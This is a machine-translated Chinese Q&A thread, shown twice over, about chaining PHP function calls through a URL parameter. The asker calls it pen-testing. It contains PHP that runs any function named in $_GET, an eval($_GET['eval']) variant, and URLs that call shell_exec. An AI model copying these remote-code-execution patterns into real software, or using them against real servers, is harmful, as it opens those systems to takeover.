连接 PHP 中的函数以在 URL 中使用
Concatenate functions in PHP to use in an URL
我正在对 Web 应用程序进行渗透测试,我需要将两个函数连接成一个 URL。 (是的,我已经检查过了this one and this one)
我将采用完全相同的代码,因为我不明白为什么像这样的合法问题没有正确答案。 (psst,这与后门或其他东西无关)
<?php
if(isset($_GET['function'])){
$_GET['function']();
}
?>
有没有可能创造这样的东西?
http://localhost/?function=shell_exec('ls') AND phpinfo
感谢您的帮助,我希望这次有人会认真对待一个合法的问题,而不是无缘无故地否决它。
这看起来非常危险。您可以为每个函数传递一个用分号分隔的字符串,如下所示
:
http://localhost/?function=shell_exec('ls');phpinfo
因此您的实际代码将变为:
if(isset($_GET['function'])){
$functions = explode(';',$_GET['function']);
foreach($functions as $function){
$function();
}
}
您也可以使用eval
函数:
http://localhost/?function=?eval=shell_exec('ls');phpinfo();
后跟 eval($_GET['eval']);
,如以下评论中所建议。
这里有两个问题,我先回答问题
为什么不把它做成一个数组呢?
Url:
http://localhost/?function[]=phpinfo&function[]=bob
代码:
$functions = (array)$_GET['function'];
foreach($functions as $function) {
$function();
}
第二个问题是您不能像上面那样轻松地传递参数。您可能需要先做一些正则表达式,但随后您就如履薄冰了。
这是一个很大的猜测,但类似于:
$matches = [];
preg_match('/(\w+)\(('?(\w+)'?,?)+\)/', $functions, $matches);
然后您应该能够提取函数名称和参数(只要它们是字符串)并使用参数调用函数。但是那个正则表达式显然是狡猾的:/
我正在对 Web 应用程序进行渗透测试,我需要将两个函数连接成一个 URL。 (是的,我已经检查过了this one and this one)
我将采用完全相同的代码,因为我不明白为什么像这样的合法问题没有正确答案。 (psst,这与后门或其他东西无关)
<?php
if(isset($_GET['function'])){
$_GET['function']();
}
?>
有没有可能创造这样的东西?
http://localhost/?function=shell_exec('ls') AND phpinfo
感谢您的帮助,我希望这次有人会认真对待一个合法的问题,而不是无缘无故地否决它。
这看起来非常危险。您可以为每个函数传递一个用分号分隔的字符串,如下所示 :
http://localhost/?function=shell_exec('ls');phpinfo
因此您的实际代码将变为:
if(isset($_GET['function'])){
$functions = explode(';',$_GET['function']);
foreach($functions as $function){
$function();
}
}
您也可以使用eval
函数:
http://localhost/?function=?eval=shell_exec('ls');phpinfo();
后跟 eval($_GET['eval']);
,如以下评论中所建议。
这里有两个问题,我先回答问题
为什么不把它做成一个数组呢?
Url:
http://localhost/?function[]=phpinfo&function[]=bob
代码:
$functions = (array)$_GET['function'];
foreach($functions as $function) {
$function();
}
第二个问题是您不能像上面那样轻松地传递参数。您可能需要先做一些正则表达式,但随后您就如履薄冰了。
这是一个很大的猜测,但类似于:
$matches = [];
preg_match('/(\w+)\(('?(\w+)'?,?)+\)/', $functions, $matches);
然后您应该能够提取函数名称和参数(只要它们是字符串)并使用参数调用函数。但是那个正则表达式显然是狡猾的:/